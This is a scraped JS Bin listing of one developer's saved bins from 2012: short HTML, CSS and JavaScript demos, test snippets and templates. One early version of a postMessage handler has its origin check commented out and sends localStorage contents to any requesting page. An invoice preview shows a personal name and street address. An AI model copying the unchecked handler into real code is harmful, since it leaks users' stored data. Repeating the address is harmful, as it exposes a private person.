oqesil 23 Jul 2012 Archive Un-archive div background red height 30px width 30px
ajiqic 23 Jul 2012 Archive Un-archive $(document).ready(function () { }
evahaw 23 Jul 2012 Archive Un-archive
odevec 22 Jul 2012 Archive Un-archive Button .button{ color: white; background: red; text-decoration: none; padding: 10px; border-radius: 4px; font-family: Arial; } JS Bin demo
ocogap 22 Jul 2012 Archive Un-archive body { background: red; p { font-family: sans-serif; } }
igacec 22 Jul 2012 Archive Un-archive v1...
acucat 22 Jul 2012 Archive Un-archive Just a simple edit example - still - is this broken!!!
1 22 Jul 2012 Archive Un-archive Just a simple edit example!!!
owupac 21 Jul 2012 Archive Un-archive # The Tooling Workshop I wanted to explain what the tooling workshop is, why I think it's awesome, and by inference, why there should be more of these. ## The cliff notes It's 1 day, 3 teachers. You get to pick and chose 4 of the 6 topics. All designed ar
3 21 Jul 2012 Archive Un-archive # The Tooling Workshop I wanted to explain what the tooling workshop is, why I think it's awesome, and by inference, why there should be more of these. ## The cliff notes It's 1 day, 3 teachers. You get to pick and chose 4 of the 6 topics. All designed ar
2 21 Jul 2012 Archive Un-archive # The Tooling Workshop I wanted to explain what the tooling workshop is, why I think it's awesome, and by inference, why there should be more of these. ## The cliff notes It's 1 day, 3 teachers. You get to pick and chose 4 of the 6 topics. All designed ar
1 21 Jul 2012 Archive Un-archive # The Tooling Workshop I wanted to explain what the tooling workshop is, why I think it's awesome, and by inference, why there should be more of these. ## The cliff notes It's 1 day, 3 teachers. You get to pick and chose 4 of the 6 topics. All designed ar
unagir 20 Jul 2012 Archive Un-archive iframe { border: 1px solid #aaa; min-height: 300px; width: 100%; }
2 20 Jul 2012 Archive Un-archive The Tooling Workshop I wanted to explain what the tooling workshop is, why I think it&#39;s awesome, and by inference, why there should be more of these. The cliff notes It&#39;s 1 day, 3 teachers. You get to pick and chose 4 of the 6 topics. All designed
1 20 Jul 2012 Archive Un-archive The Tooling Workshop I wanted to explain what the tooling workshop is, why I think it&#39;s awesome, and by inference, why there should be more of these. The cliff notes It&#39;s 1 day, 3 teachers. You get to pick and chose 4 of the 6 topics. All designed
ulesar 20 Jul 2012 Archive Un-archive JS Bin
amezuy 20 Jul 2012 Archive Un-archive Simple test to ensure the window has a width before unload
exozoh 20 Jul 2012 Archive Un-archive window.
icoruj 20 Jul 2012 Archive Un-archive # heading Body..
3 20 Jul 2012 Archive Un-archive # heading Body..........
2 14 Jul 2012 Archive Un-archive # heading Body.......
1 14 Jul 2012 Archive Un-archive .....
ovikev 19 Jul 2012 Archive Un-archive This is an example - that didn't work in the real demo!!!!
esaguv 19 Jul 2012 Archive Un-archive JS Bin
ezebaq 18 Jul 2012 Archive Un-archive This is an example!
ojokoq 18 Jul 2012 Archive Un-archive Got a url
ogehux 17 Jul 2012 Archive Un-archive body { font-family: sans-serif; }
2 17 Jul 2012 Archive Un-archive body { font-family: sans-serif; }
1 17 Jul 2012 Archive Un-archive body { font-family: sans-serif; }
ufeyem 15 Jul 2012 Archive Un-archive settings = { jshint: false, editor: { lineNumbers: true, lineWrapping: false, theme: 'solarized-light' } };
etovic 14 Jul 2012 Archive Un-archive
ozeqoy 10 Jul 2012 Archive Un-archive this is the html5 elemenet
1 10 Jul 2012 Archive Un-archive document.write($.fn.jquery);
uracib 10 Jul 2012 Archive Un-archive What Remy does jQuery It loves the lazy developer - lazy in the good way, I'd rather spend time on the interesting stuff rather than donkey DOM scripting. Most of my jQuery stuff can be see on jQuery for Designers JavaScript JavaScript doesn't require
icuzuq 08 Jul 2012 Archive Un-archive .parent { height: 40px; width: 400px; position: relative; background: red; } #child { position: absolute; width: 100px; height: 60px; top: 0px; left: 0px; background: blue; }​ text
ileguv 08 Jul 2012 Archive Un-archive ok
umutuc 07 Jul 2012 Archive Un-archive Welcome to JS Bin! Hello, I'm Dave the JS Bin bot. JS Bin is a JavaScript, HTML and CSS playground. If you want to experiment, learn or help your friends with a problem, then JS Bin is for you.Have a play and build something cool!Oh, and please don't pres
35 02 Jul 2012 Archive Un-archive Welcome to JS Bin! Hello, I'm Dave the JS Bin bot. JS Bin is a JavaScript, HTML and CSS playground. If you want to experiment, learn or help your friends with a problem, then JS Bin is for you. Read more and have a play.Oh, and please don't press me, I ge
29 02 Jul 2012 Archive Un-archive Welcome to JS Bin! Hello, I'm Dave the JS Bin bot. JS Bin is a JavaScript, HTML and CSS playground. If you want to experiment, learn or help your friends with a problem, then JS Bin is for you. Read more and have a play.Oh, and please don't press me, I ge
26 02 Jul 2012 Archive Un-archive Welcome to JS Bin! Hello, I'm Dave the JS Bin bot. JS Bin is a JavaScript, HTML and CSS playground. If you want to experiment, learn or help your friends with a problem, then JS Bin is for you. Read more and have a play.Oh, and please don't press me, I
4 02 Jul 2012 Archive Un-archive Welcome to JS Bin! Hello, I'm Dave the JS Bin bot. Welcome to the JavaScript, HTML and CSS playground. If you want to experiment, learn or help your friends with a problem, then JS Bin is for you. Read more and have a play.Oh, and don't press down on m
3 02 Jul 2012 Archive Un-archive Welcome to JS Bin Hello, I'm Dave the JS Bin bot. Welcome to the JavaScript, HTML and CSS playground. If you want to experiment, learn or help your friends with a problem, then JS Bin is for you. Read more and have a play below. If you're not familar wit
2 02 May 2012 Archive Un-archive Welcome to JS Bin If you're not familar with JS Bin, this is a tool that can help you teach, learn and debug HTML, CSS and JavaScript. You won't see this message again by default, but if you do want a reminder, you can either use the help or visit jsbin.c
1 01 May 2012 Archive Un-archive Welcome to JS Bin If you're not familar with JS Bin, this is a tool that can help you teach, learn and debug HTML, CSS and JavaScript. You won't see this message again by default, but if you do want a reminder, you can either use the help or visit jsbin.c
uyuviv 07 Jul 2012 Archive Un-archive Does this really work? I think so - well, do you? I do yes.
uviyod 07 Jul 2012 Archive Un-archive JS Bin
omunov 06 Jul 2012 Archive Un-archive top.$('#showurls').click();
efoket 03 Jul 2012 Archive Un-archive Hello World this is an.
ogileb 02 Jul 2012 Archive Un-archive Just a test...
apazeq 01 Jul 2012 Archive Un-archive var re = { console: /remy/g }; source = 'remy sharp'; console.log(re.console.test(source)); re.console.lastIndex = 0; console.log(re.console.test(source));
atehel 28 Jun 2012 Archive Un-archive Demo showing screen dimensions
2 28 Jun 2012 Archive Un-archive Demo showing screen dimensions
1 28 Jun 2012 Archive Un-archive Demo showing screen dimensions
ihahir 27 Jun 2012 Archive Un-archive Invoice Remy Sharp 44 Burstead Close Brighton BN1 7HT Left Logic Limited 32B Herbert Road Brighton East Sussex BN1 6PB Invoice Date Due Date Invoice Number 11th October 2007 11th November 2007 LL-00001 Summary of Costs Honorarium &
obagaw 27 Jun 2012 Archive Un-archive Hello World....
edunub 27 Jun 2012 Archive Un-archive Hello World....
ejaviy 26 Jun 2012 Archive Un-archive Without image-rendering: With image-rendering:
1 21 Jun 2012 Archive Un-archive Without image-rendering: With image-rendering:
akujal 23 Jun 2012 Archive Un-archive Hello
ideris 22 Jun 2012 Archive Un-archive Past &amp; Future Interactions 2nd of November Add to my calendar iCal or Outlook Google Calendar Give us your email address and we'll let you know when tickets become available. Follow @uxbri on Twitter
7 22 Jun 2012 Archive Un-archive Past &amp; Future Interactions 2nd of November Add to my calendar iCal or Outlook Google Calendar Give us your email address and we'll let you know when tickets become available. Follow @uxbri on Twitter
6 22 Jun 2012 Archive Un-archive Past &amp; Future Interactions 2nd of November Add to my calendar iCal or Outlook Google Calendar Give us your email address and we'll let you know when tickets become available. Follow @uxbri on Twitter
2 22 May 2012 Archive Un-archive Past &amp; Future Interactions 2nd of November Add to my calendar iCal or Outlook Google Calendar Give us your email address and we'll let you know when tickets become available. Follow @uxbri on Twitter
1 22 May 2012 Archive Un-archive Past &amp; Future Interactions 2nd of November Add to my calendar iCal or Outlook Google Calendar Give us your email address and we'll let you know when tickets become available. Follow @uxbri on Twitter
ageruj 22 Jun 2012 Archive Un-archive
aruked 22 Jun 2012 Archive Un-archive console.log "foo bar fuck boo"
1 22 Jun 2012 Archive Un-archive console.log "foo"
iqosez 21 Jun 2012 Archive Un-archive var iframe = document.createElement('iframe'), win, doc, body = document.body; body.appendChild(iframe); win = iframe.contentWindow; doc = win.document; var js = '<script>document.write("name = " + sessionStorage.name)\n//@ sourceURL=iframe-test.js</scrip
1 21 Jun 2012 Archive Un-archive var iframe = document.createElement('iframe'), win, doc, body = document.body; body.appendChild(iframe
ukayiy 20 Jun 2012 Archive Un-archive Register Login Registration allows you to easily retrieve all your saved bins. Username Email Password Username or email Password Lost password?
1 20 Jun 2012 Archive Un-archive Register Login Registration allows you to easily retrieve all your saved bins. Username Email Password Username or email Password Lost password?
ihujev 20 Jun 2012 Archive Un-archive one two three four one two three four
aqopum 20 Jun 2012 Archive Un-archive This is from Chrome
uguwik 20 Jun 2012 Archive Un-archive Just tesitng...
ovacah 07 Jun 2012 Archive Un-archive Oslo airport webcam - auto refresh
iginuw 31 May 2012 Archive Un-archive function changeColour(target) { var w = ctx.canvas.width, h = ctx.canvas.height, pixels = ctx.getImageData(0, 0, w, h), len = pixels.data.length; console.log('colouring to ' + target); //target = target || 0.33; for (var i = 0; i < len; i += 4) { // look
ucubub 25 May 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
imaloq 25 May 2012 Archive Un-archive ok - y
2 25 May 2012 Archive Un-archive ok - y
omixac 25 May 2012 Archive Un-archive Hello World
ixewok 24 May 2012 Archive Un-archive iOS position:fixed demo #5 - blocked hotspot fixed?
14 24 May 2012 Archive Un-archive iOS position:fixed demo #4 - blocked hotspot
13 24 May 2012 Archive Un-archive iOS position:fixed demo #4 - blocked hotspot
12 24 May 2012 Archive Un-archive iOS position:fixed demo #4 - blocked hotspot
11 24 May 2012 Archive Un-archive iOS position:fixed demo #4 - blocked hotspot
10 23 May 2012 Archive Un-archive iOS position:fixed demo #3 - judder free
10 23 May 2012 Archive Un-archive iOS position:fixed demo #3 - judder free
9 23 May 2012 Archive Un-archive iOS position:fixed demo #3 - number
8 23 May 2012 Archive Un-archive iOS position:fixed demo #2 - drift
7 23 May 2012 Archive Un-archive iOS position:fixed demo #2 - drift
7 23 May 2012 Archive Un-archive iOS position:fixed demo #2 - drift
6 23 May 2012 Archive Un-archive iOS position:fixed demo #1 - judder
5 23 May 2012 Archive Un-archive Scroll data Biltong drumstick chuck, turkey flank shoulder bacon spare ribs short ribs sirloin pork pork belly ground round shank t-bone. Spare ribs shankle meatloaf speck, brisket ham hock drumstick pork belly chuck ball tip ribeye shank sirloin sausag
4 20 May 2012 Archive Un-archive Scroll data Biltong drumstick chuck, turkey flank shoulder bacon spare ribs short ribs sirloin pork pork belly ground round shank t-bone. Spare ribs shankle meatloaf speck, brisket ham hock drumstick pork belly chuck ball tip ribeye shank sirloin sausag
3 20 May 2012 Archive Un-archive Uses window scrolling - doesn't work ok ok Biltong drumstick chuck, turkey flank shoulder bacon spare ribs short ribs sirloin pork pork belly ground round shank t-bone. Spare ribs shankle meatloaf speck, brisket ham hock drumstick pork belly chuck ball
2 20 May 2012 Archive Un-archive ok ok Biltong drumstick chuck, turkey flank shoulder bacon spare ribs short ribs sirloin pork pork belly ground round shank t-bone. Spare ribs shankle meatloaf speck, brisket ham hock drumstick pork belly chuck ball tip ribeye shank sirloin sausage. Mea
1 20 May 2012 Archive Un-archive ok
ojosas 22 May 2012 Archive Un-archive Damn it, I need to make sure this doesn't keep creating new versions!
2 21 May 2012 Archive Un-archive just a simple test
1 21 May 2012 Archive Un-archive JS Bin
eleguy 21 May 2012 Archive Un-archive Here is a button style for Jizzbin content.
ebogin 21 May 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
ayakop 20 May 2012 Archive Un-archive Submit --> -->
ocabuf 20 May 2012 Archive Un-archive Yeah, you can see it in my gallery.'>
ijiwaj 18 May 2012 Archive Un-archive fixed remysharp 15m julieanne 1h -->
5 17 May 2012 Archive Un-archive remysharp 15m remysharp 15m
4 16 May 2012 Archive Un-archive remysharp 15m remysharp 15m
3 16 May 2012 Archive Un-archive remysharp 15m remysharp 15m
2 16 May 2012 Archive Un-archive remysharp 15m
1 16 May 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
uluxov 14 May 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
uwiqif 14 May 2012 Archive Un-archive flek
ewuxof 14 May 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
1 14 May 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
axosaf 14 May 2012 Archive Un-archive /* as you type - this bin will be saved live so just open this url (without "edit") and it will reload itself */
ihoxeb 14 May 2012 Archive Un-archive /* Live.js - One script closer to Designing in the Browser Written for Handcraft.com by Martin Kool (@mrtnkl). Version 4. Recent change: Made stylesheet and mimetype checks case insensitive. http://livejs.com http://livejs.com/license (MIT) @livejs Includ
eretez 14 May 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
2 14 May 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
1 14 May 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
odawip 13 May 2012 Archive Un-archive { 'first-of-type' : { opera: 10, firefox: 4, safari: 2 }, 'child': { /* etc */ } }
oluzil 09 May 2012 Archive Un-archive My's amazing mobile page Hello all you nice people About Photos About me About Remy: 3 cats, and a son called Ellis. @rem Cats! Picture var tag = 'cats', per_page = 10, url = 'http://api.flickr.com/services/rest/?method=flickr.p
upacod 06 May 2012 Archive Un-archive I'm a paragraph I'm another paragraph with a link inside it Here's the compressed lame-query.js This is live saving...and will automatically refresh and connected device
14 03 May 2012 Archive Un-archive I'm a paragraph I'm another paragraph with a link inside it Here's the compressed lame-query.js This is live saving...and will automatically refresh and connected device
13 03 May 2012 Archive Un-archive I'm a paragraph I'm another paragraph with a link inside it Here's the compressed lame-query.js This is live saving...and will automatically refresh and connected device
12 03 May 2012 Archive Un-archive I'm a paragraph I'm another paragraph with a link inside it Here's the compressed lame-query.js This is live saving...and will automatically refresh and connected device
11 02 May 2012 Archive Un-archive I'm a paragraph I'm another paragraph with a link inside it Here's the compressed lame-query.js API...
10 01 May 2012 Archive Un-archive I'm a paragraph I'm another paragraph with a link inside it
1 27 Apr 2012 Archive Un-archive I'm a paragraph I'm another paragraph with a link inside it
ixepey 05 May 2012 Archive Un-archive var pause = false; function spy() { if (pause === false) { // insert a new item with opacity and height of zero var $insert = $(items[currentItem]).css({ height : 0, opacity : 0, display : 'none' }).prependTo($list); // fade the LAST item out $list.find('
ovixof 04 May 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */ setTimeout(function () { console.log('2 seconds later'); }, 2000);
ajarix 04 May 2012 Archive Un-archive Hello world!!! change
2 04 May 2012 Archive Un-archive Hello world!!! change
1 04 May 2012 Archive Un-archive Hello world!!! change
anovag 04 May 2012 Archive Un-archive JS Bin
egusat 04 May 2012 Archive Un-archive Hello World
ayulip 04 May 2012 Archive Un-archive JS Bin
alazan 03 May 2012 Archive Un-archive w
avicep 02 May 2012 Archive Un-archive Instructions: Enter your twitter username, hit start, and then keep hitting the image that appears - the more hits you get, the higher your score on the leader board.
oyawif 02 May 2012 Archive Un-archive Instructions: Enter your twitter username, hit start, and then keep hitting the image that appears - the more hits you get, the higher your score on the leader board.
1 02 May 2012 Archive Un-archive Instructions: Enter your twitter username, hit start, and then keep hitting the image that appears - the more hits you get, the higher your score on the leader board.
orafuw 26 Apr 2012 Archive Un-archive hello world - wonder if this updates?
evipuq 26 Apr 2012 Archive Un-archive Hello
ecuwex 26 Apr 2012 Archive Un-archive My's amazing mobile page Hello all you nice people About Me Photos About Remy Hello, my name is Remy, I have 3 cats! Picture lol-cats var tag = 'lolcats', per_page = 10, url = 'http://api.flickr.com/services/rest/?method=flickr.pho
obevac 25 Apr 2012 Archive Un-archive this is a change
awedaw 25 Apr 2012 Archive Un-archive Hello world
exazoz 25 Apr 2012 Archive Un-archive http://localhost:8081/target/target-script-min.js#anonymous
olerir 25 Apr 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
isotit 23 Apr 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
asiqip 23 Apr 2012 Archive Un-archive var body = document.body, debug = document.getElementById('debug'); function info(e) { debug.innerHTML = e.touches.length + '\n'; for (var i = 0; i < e.touches.length; i++) { debug.innerHTML += i + ' identifier: ' + e.touches[i].identifier + '\n'; } } bod
unaloj 23 Apr 2012 Archive Un-archive /* your JavaScript here - remember you can override this default template using 'Save'->'As Template' */
exaneb 22 Apr 2012 Archive Un-archive Okay - will this work... - cool - now we've got live saving... See - now that I make changes it's automatically saved.
3 22 Apr 2012 Archive Un-archive Okay - will this work... - cool - now we've got live saving... It said the updates was okay though Okay, let's try again shall we! Hmm - why we went to 3 I don't know...
2 22 Apr 2012 Archive Un-archive Okay - will this work... - cool - now we've got live saving... It said the updates was okay though Okay, let's try again shall we!
1 22 Apr 2012 Archive Un-archive Okay - will this work...
eyogak 20 Apr 2012 Archive Un-archive Hello World
1 18 Apr 2012 Archive Un-archive Hello World
ohohap 18 Apr 2012 Archive Un-archive 101 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2) 101 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.3; SLCC2; .NET CLR
ufelah 18 Apr 2012 Archive Un-archive $(function () { $('body').on('click', 'img', function (e) { alert("Hello!"); }); }); alert('this alert box could get annoying when I type - so it is removed in the preview if I have "always run js" enabled');
efatid 15 Apr 2012 Archive Un-archive 123
otipix 13 Apr 2012 Archive Un-archive var last = Math.floor(new Date('Novemver 11, 2011 15:00:00').getTime()/1000), sale = Math.floor(new Date('June 9, 2012 15:00:00').getTime()/1000), now = Math.floor(new Date().getTime()/1000); sale = sale - last; now = now - last; var perc = Math.floor((no
oraqiw 13 Apr 2012 Archive Un-archive Spare ribs shankle salami, venison meatloaf turkey tail hamburger bacon biltong ribeye. Kielbasa ball tip venison, pork loin boudin bresaola rump strip steak sirloin shoulder beef turkey pig. Shoulder turkey speck pork chop, kielbasa beef short loin. File
egenug 11 Apr 2012 Archive Un-archive Hello World
5 11 Apr 2012 Archive Un-archive Hello World
4 11 Apr 2012 Archive Un-archive Hello World
3 11 Apr 2012 Archive Un-archive Hello World
2 11 Apr 2012 Archive Un-archive Hello World
1 11 Apr 2012 Archive Un-archive Hello World
eqakog 11 Apr 2012 Archive Un-archive var result = (function () { var result = { ok : false }, iframe = document.createElement('iframe'), doc, callbackName = '__callback' + (+new Date); iframe.style.height = iframe.style.width = '1px'; iframe.style.visibility = 'hidden'; document.body.appendC
amafuw 10 Apr 2012 Archive Un-archive Hello World
oyebat 07 Apr 2012 Archive Un-archive var fn = function () { console.log('my function was called'); }; function doit(fn) { fn.call(this); } // handler - async document.body.onclick = fn; // callback - sync doit(fn);
1 07 Apr 2012 Archive Un-archive Hello World
umasus 07 Apr 2012 Archive Un-archive Colour // view-source:http://www.xanthir.com/demos/video/demo3.html function colorToChar(r,g,b) { // Color -> brightness var brightness = (3*r+4*g+b)>>>3; // Chop the brightness into 13 buckets, and select a char based on that. return "@GLftli;:,.
2 23 Mar 2012 Archive Un-archive Colour // view-source:http://www.xanthir.com/demos/video/demo3.html function colorToChar(r,g,b) { // Color -> brightness var brightness = (3*r+4*g+b)>>>3; // Chop the brightness into 13 buckets, and select a char based on that. return "@GLftli;:,.
1 23 Mar 2012 Archive Un-archive Colour var url = "ws://" + document.URL.substr(7).split('/')[0], wsCtor = window['MozWebSocket'] ? MozWebSocket : WebSocket; ws = new wsCtor(url), video = document.querySelector('video'), source = document.getElementById('source').getContext('2d'
izixeh 07 Apr 2012 Archive Un-archive $(function() { $( "#dialog" ).dialog(); }); This is the default dialog which is useful for displaying information. The dialog window can be moved, resized and closed with the 'x' icon. Sed vel diam id libero rutrum convallis. Donec aliquet leo vel m
eqetay 05 Apr 2012 Archive Un-archive Hello World....
onasuy 02 Apr 2012 Archive Un-archive Hello World
asasiw 28 Mar 2012 Archive Un-archive Hello World
enicas 26 Mar 2012 Archive Un-archive Hello World
iganey 22 Mar 2012 Archive Un-archive var video = document.querySelector('video'), source = document.querySelector('#source').getContext('2d'), output = document.querySelector('#output').getContext('2d'); function init() { navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGet
8 22 Mar 2012 Archive Un-archive var video = document.querySelector('video'), source = document.querySelector('#source').getContext('2d'), output = document.querySelector('#output').getContext('2d'); function init() { navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGet
7 22 Mar 2012 Archive Un-archive Hello world
6 22 Mar 2012 Archive Un-archive Hello world
5 22 Mar 2012 Archive Un-archive Hello world
4 22 Mar 2012 Archive Un-archive Hello world
3 22 Mar 2012 Archive Un-archive Hello world
2 22 Mar 2012 Archive Un-archive Hello world
uyereb 22 Mar 2012 Archive Un-archive Hello World
axokol 22 Mar 2012 Archive Un-archive Detect if iframes can read their window width on DOM insertion or after (i.e. with a setTimeout). False means it can't read at DOM insertion, true means it can.
uzubig 20 Mar 2012 Archive Un-archive Hello World
itasuz 18 Mar 2012 Archive Un-archive console.log "coffeescript works!";
ofipig 12 Mar 2012 Archive Un-archive Hello World
ejiwan 09 Mar 2012 Archive Un-archive function sendSSE(res, id, event, message) { var data = ''; if (event) { data += 'event:' + event + '\n'; } // blank id resets the id counter if (id) { data += 'id:' + id + '\n'; } else { data += 'id\n'; } if (message) { data += 'data:' + message.split(/\n
uqikil 09 Mar 2012 Archive Un-archive Hello World
umoheg 03 Mar 2012 Archive Un-archive 69 setInterval(function () { progress.value = progress.innerHTML = Math.random() * 100 | 0; }, 500);
elayop 02 Mar 2012 Archive Un-archive var pre = document.querySelector('pre'); navigator.geolocation.watchPosition(function (data) { pre.innerHTML = JSON.stringify(data.coords).replace(/,/g, ',\n'); }, function (err) { pre.innerHTML = JSON.stringify(err); }, { enableHighAccuracy: true })
49 29 Feb 2012 Archive Un-archive How fast can you go? 0 //(function () { var speed = 0, speedEl = document.getElementById('speed'), time = document.querySelector('time'); navigator.geolocation.watchPosition(function (data) { time.innerHTML = new Date(data.timestamp); if (data.coords.sp
40 29 Feb 2012 Archive Un-archive How fast can you go? 0 (function () { var speed = 0, speedEl = document.getElementById('speed'), time = document.querySelector('time'); navigator.geolocation.watchPosition(function (data) { time.innerHTML = new Date(data.timestamp); if (data.coords.spee
38 29 Feb 2012 Archive Un-archive How fast can you go? 0Mph (function () { var speed = 0, speedEl = document.getElementById('speed'), time = document.querySelector('time'); navigator.geolocation.watchPosition(function (data) { time.innerHTML = new Date(data.timestamp); if (data.coords.s
5 29 Feb 2012 Archive Un-archive Geolocation with high accuracy dump
2 29 Feb 2012 Archive Un-archive Geolocation with high accuracy dump
1 27 Feb 2012 Archive Un-archive Geolocation with high accuracy dump
oqowut 02 Mar 2012 Archive Un-archive var file = this.files[0]; var reader = new FileReader(); reader.onload = function (event) { info.innerHTML += '<li><img src="' + event.target.result + '"></li>'; }; reader.readAsDataURL(file);
esodib 28 Feb 2012 Archive Un-archive Enter your email give yourself a rating
2 28 Feb 2012 Archive Un-archive Enter your email give yourself a rating
1 28 Feb 2012 Archive Un-archive Enter your email give yourself a rating
ukehoz 27 Feb 2012 Archive Un-archive Hello World
adosaz 23 Feb 2012 Archive Un-archive window.onmessage = function(e){ if (e.origin.indexOf('twitter.com') === -1) { return; } alert('in') if (e.data == 'query') { this.postMessage(localStorage.BONFIRE, e.origin); } else if (e.data == 'ack') { delete localStorage.BONFIRE; } };
3 23 Feb 2012 Archive Un-archive window.onmessage = function(e){ if (e.origin.indexOf('twitter.com') === -1) { return; } alert('in') if (e.data == 'query') { this.postMessage(localStorage.BONFIRE); } else if (e.data == 'ack') { delete localStorage.BONFIRE; } };
2 23 Feb 2012 Archive Un-archive window.onmessage = function(e){ if (e.origin.indexOf('twitter.com') === -1) { return; } alert('in') if (e.data == 'query') { e.source.postMessage(localStorage.BONFIRE); } else if (e.data == 'ack') { delete localStorage.BONFIRE; } };
1 23 Feb 2012 Archive Un-archive window.onmessage = function(e){ // if (e.origin.indexOf('twitter.com') === -1) { // return; // } if (e.data == 'query') { e.source.postMessage(localStorage.BONFIRE); } else if (e.data == 'ack') { delete localStorage.BONFIRE; } };
upahul 18 Feb 2012 Archive Un-archive Note: I've made fn2 run inside of a setTimeout, so I'd want the "we're done" to only appear onces fn1, fn2 and fn3 are done, but it doesn't - it simply chains the functions together Go Ready... // 3 functions to call when the Deferred object is resolved
iromud 16 Feb 2012 Archive Un-archive [default] Running chef-solo... stdin: is not a tty [Thu, 16 Feb 2012 08:53:56 -0800] INFO: *** Chef 0.10.2 *** [Thu, 16 Feb 2012 08:53:56 -0800] INFO: Setting the run_list to ["recipe[bonfire.im]"] from JSON [Thu, 16 Feb 2012 08:53:56 -0800] INFO: Run Lis
ufefid 16 Feb 2012 Archive Un-archive The MIT License (MIT) Copyright (c) {{info}} Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without
4 22 Oct 2011 Archive Un-archive The MIT License (MIT) Copyright (c) {{info}} Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without
3 19 Oct 2011 Archive Un-archive The MIT License (MIT) Copyright (c) {{info}} Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without
ogepih 15 Feb 2012 Archive Un-archive one two two
erigos 11 Feb 2012 Archive Un-archive {"pass":false,"lint":{"type":"warning","line":11,"col":92,"message":"The property -moz-border-radius is compatible with -webkit-border-radius and should be included as well.","evidence":"input, textarea { margin: 0; padding: 0; position: relative; font-si
3 11 Feb 2012 Archive Un-archive {"pass":true }
2 11 Feb 2012 Archive Un-archive callback({"pass":true });
1 11 Feb 2012 Archive Un-archive callback({"pass":false,"lint":{"type":"warning","line":11,"col":92,"message":"The property -moz-border-radius is compatible with -webkit-border-radius and should be included as well.","evidence":"input, textarea { margin: 0; padding: 0; position: relative
oqawar 10 Feb 2012 Archive Un-archive if (document.getElementById('hello')) { document.getElementById('hello').innerHTML = 'Hello World - this was inserted using JavaScript'; }
utetay 09 Feb 2012 Archive Un-archive Source Drag and drop files in this window to read it's contents, and get data-urls for images or video
14 09 Feb 2012 Archive Un-archive Source Drag and drop files in this window to read it's contents, and get data-urls for images or video
13 09 Feb 2012 Archive Un-archive Source Drag and drop files in this window to read it's contents, and get data-urls for images or video
12 09 Feb 2012 Archive Un-archive Save data-uri
11 09 Feb 2012 Archive Un-archive dataurl
4 08 Feb 2012 Archive Un-archive ('HTMLCanvasElement' in this) && (function () { HTMLCanvasElement.prototype.trim = function (opts) { opts = opts || {}; var element = this, bound = { top: null, left: null, right: null, bottom: null }, ctx = element.getContext('2d'), newctx = document.cre
3 08 Feb 2012 Archive Un-archive ('HTMLCanvasElement' in this) && (function () { HTMLCanvasElement.prototype.trim = function (opts) { opts = opts || {}; var element = this, bound = { top: null, left: null, right: null, bottom: null }, ctx = element.getContext('2d'), newctx = document.cre
2 08 Feb 2012 Archive Un-archive ('HTMLCanvasElement' in this) && (function () { HTMLCanvasElement.prototype.trim = function (opts) { opts = opts || {}; var element = this, bound = { top: null, left: null, right: null, bottom: null }, ctx = element.getContext('2d'), newctx = document.cre
1 08 Feb 2012 Archive Un-archive ('HTMLCanvasElement' in this) && (function () { HTMLCanvasElement.prototype.trim = function (opts) { opts = opts || {}; var element = this, bound = { top: null, left: null, right: null, bottom: null }, ctx = element.getContext('2d'), newctx = document.cre
oxepej 07 Feb 2012 Archive Un-archive var fs = require('fs'); fs.writeFileSync('./foo'); console.log(fs.statSync('./foo').mtime); console.log(new Date()); fs.unlinkSync('./foo');
onipug 02 Feb 2012 Archive Un-archive Play var play = document.getElementById('play'), video = document.querySelector('video'); // video.controls = false; function toggle() { if (video.paused) { video.play(); } else { video.pause(); } } play.addEventListener('click', toggle, false); video.ad
ificug 02 Feb 2012 Archive Un-archive Play var play = document.getElementById('play'), video = document.querySelector('video'); // video.controls = false; function toggle() { if (video.paused) { video.play(); } else { video.pause(); } } play.addEventListener('click', toggle, false); video.ad
ecidoj 02 Feb 2012 Archive Un-archive Play var play = document.getElementById('play'), video = document.querySelector('video'); // video.controls = false; function toggle() { if (video.paused) { video.play(); } else { video.pause(); } } play.addEventListener('click', toggle, false); video.ad
uticev 24 Jan 2012 Archive Un-archive var pop = window.open('http://jsbin.com/egixav/2'); if (pop) { pop.onload = function () { insert(pop.innerHeight > 0 ? 'open' : 'blocked'); } } else { insert('blocked'); } function insert(text) { $('body').append('<p>' + text + '</p>'); }
2 24 Jan 2012 Archive Un-archive var pop = window.open('http://jsbin.com/egixav/2'); function insert(text) { $('body').append('<p>' + text + '</p>'); }
1 24 Jan 2012 Archive Un-archive var pop = window.open(window.location+''); alert('popup open? ' + !!pop);
egixav 24 Jan 2012 Archive Un-archive window.opener.insert("Yep, this came from the popup you just blocked");
1 24 Jan 2012 Archive Un-archive window.opener.text("Yep, this came from the popup you just blocked");
agihuv 24 Jan 2012 Archive Un-archive Working out beta, x and z values raw: beta: z: // 0 = -9 (flat up), 90 = 0 (up), 0 = 9 (flat down), -90 = 0 (down) y: // 0 = 0, 90 = -9, -90 = 9 var TO_RADIANS = Math.PI / 180; function betaAndZ() { var value = range.value * 1; raw.value = value;
